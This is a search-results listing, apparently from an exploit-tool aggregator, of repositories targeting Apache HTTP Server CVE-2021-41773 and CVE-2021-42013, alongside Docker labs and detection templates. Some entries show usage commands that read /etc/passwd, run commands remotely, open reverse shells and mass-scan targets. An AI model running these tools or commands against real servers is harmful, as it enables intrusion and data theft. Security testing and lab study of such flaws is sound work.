108 matches found
apache_2.4.50
Apache HTTP Server 2.4.50 LFI & RCE Un script python3 para el CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI y RCE. RCE requiere que cgi-bin esté habilitado. Comenzando Ejecutando el programa LFI root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE root@kitploit:...
Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution
Apache HTTP-Server 2.4.49-2.4.50 Path Traversal & Remote Code Execution Description This is a PoC script for CVE-2021-41773 & CVE-2021-42013 Usage: root@kitploit: python3 exploit.py | Example: Remote Code Execution root@kitploit: python3 exploit.py 127.0.0.1 8080 rce 'id' Path Traversal...
CVE-2021-41773_CVE-2021-42013
Apache HTTP Server 2.4.49, 2.4.50 - 路径遍历与远程代码执行 漏洞利用作者: Lucas Souza https://ls4ss.github.io/ 厂商主页: https://apache.org/ 版本: 2.4.49, 2.4.50 测试版本: 2.4.49, 2.4.50 CVE编号: CVE-2021-41773, CVE-2021-42013 致谢: Ash Daulton 和 cPanel 安全团队 用法 root@kitploit: ./PoC.sh targets.txt /etc/passwd ./PoC.sh targets.tx...
CVE-2021-41773_CVE-2021-42013
CVE-2021-41773CVE-2021-42013 CVE-2021-41773 CVE-2021-42013 multi-threaded vulnerability batch detection and exploitation tool Introduction This tool can only be used for security testing, do not use for illegal purposes! Tool Purpose CVE-2021-41773 CVE-2021-42013 multi-threaded vulnerability batc...
Apache-HTTP-Server-Vulnerabilities-CVE-2021-41773-and-CVE-2021-42013
Reconnaissance and Exploitation: Apache HTTP Server Vulnerabilities - CVE-2021-41773 and CVE-2021-42013 In this project, I documented a detailed penetration testing process targeting Apache HTTP Server vulnerabilities, specifically CVE-2021-41773 and CVE-2021-42013, which involve Path Traversal a...
Apache-CVE-2021-42013-RCE-Exploit
🚀 Overview This exploit tool targets path traversal and remote code execution vulnerabilities in Apache HTTP Server versions 2.4.49 and 2.4.50. The tool uses curl backend to bypass URL encoding issues that affect other Python-based exploit attempts, providing reliable exploitation even when other...
cve-2021-42013-httpd
Dockerisation of a Vulnerability: cve-2021-42013 This project aims to dockerize a specific vulnerability using Docker. The goal is to create an isolated environment in which the vulnerability can be exploited and tested securely. Vulnerable Application Apache HTTP Server 2.4.50 - Remote Code...
Apache-CVEs
Apache-CVEs Exploit creado en python3 para explotar vulnerabilidades conocidas en el servidor web Apache CVE-2021-41773, CVE-2021-42013 ¿Qué es Apache? El Proyecto Apache HTTP Server es un esfuerzo para desarrollar y mantener un servidor HTTP de código abierto para sistemas operativos modernos,...
CVE-2021-42013_Reverse-Shell
CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI Usage : root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT More info: root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083...
apache-vulnerable
扫描Apache版本的"零日漏洞" Apache 版本 2.4.49 和 2.4.50 CVE-2021-41773 和 CVE-2021-42013 使用方法： 你需要安装 nuclei！ https://github.com/projectdiscovery/nuclei 检查本地 nuclei 安装并验证模板 nuclei -t apache-vulnerable-versions.yaml -vv 以及 nuclei -t apache-path-traversal-rce-v2.yaml -vv 你应该会看到 apache-vulnerable-versions...
apache-exploit-CVE-2021-42013
apache-exploit-CVE-2021-42013 Exploit with integrated shodan search Please use it just in educational purpose!...
apachrot
Apache Linux CVE-2021-41773/2021-42013 Mass Vulnerability Checker Automatic Mass Tool for checking vulnerability in Apache Linux 2.4.49/50 Using GNU Parallel. You must have parallel for running this tool Install Parallel Linux : command apt-get install parallel -y Windows : You can install WSL...
Apache-HTTP-Server-2.4.50-RCE
Apache-HTTP-Server-2.4.50-RCE 此工具用于测试 Apache 服务器是否存在 CVE-2021-41773 / CVE-2021-42013 漏洞。它仅供教育目的使用，且只应在您拥有明确测试许可的系统上负责任地使用。 安装： 克隆仓库： root@kitploit: git clone https://github.com/Zyx2440/Apache-HTTP-Server-2.4.50-RCE.git 进入目录： root@kitploit: cd Apache-HTTP-Server-2.4.50-RCE 安装依赖： root@kitploit: pip...
cve-2021-42013-apache
Installation and Execution of the script 💻 Prerequisites Before starting, ensure you have the following tools installed on your machine: Python 3.x Git pip to manage Python dependencies Installation Steps 1. Clone the repository Use git to clone the repository: root@kitploit: git clone...
apache-httpd-path-traversal-checker
apache httpd path traversal checker 0x00 概述 20211005，网上曝出apache httpd 2.4.49的目录穿越漏洞（cve-2021-41773），可造成任意文件读取（穿越的目录允许被访问，如配置了Require all granted， 默认不允许）或命令执行（rce需开启cgi，默认不包含cgi模块） 20211008，又出了2.4.50的目录穿越（cve-2021-42013），是绕过了cve-2021-41773的修复。 漏洞详情参考：apache httpd 2.4.49/2.4.50 目录穿越漏洞重现及分析 0x01 快速开...
apache-cve-2021-42013-lab
Apache HTTP Server 2.4.49 Path Traversal & Remote Code Execution CVE-2021-42013 About the Project In this project, I demonstrated the CVE-2021-42013 vulnerability in Apache HTTP Server version 2.4.49 in a lab environment I created using Docker. The goal is to examine how the vulnerability occurs,...
CVE-2021-42013
CVE-2021-42013 CVE-2021-42013-exp...
CVE-2021-42013
CVE-2021-42013 Description This script exploits CVE-2021-42013 to print file or/and execute command. This script is available for: Nmap Python Ruby Requirements Python python3 python3 Standard Library Ruby Ruby Ruby Standard Library Install root@kitploit: git clone...
Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit
Exploit para CVE-2021-41773 y CVE-2021-42013 Ataque de path traversal y RCE en Apache/2.4.49-2.4.50 Características - Toma una lista de urls - Funciona tanto para CGI como para no-CGI - Funciona para Apache/2.4.49 - 2.4.50 Uso $ git clone...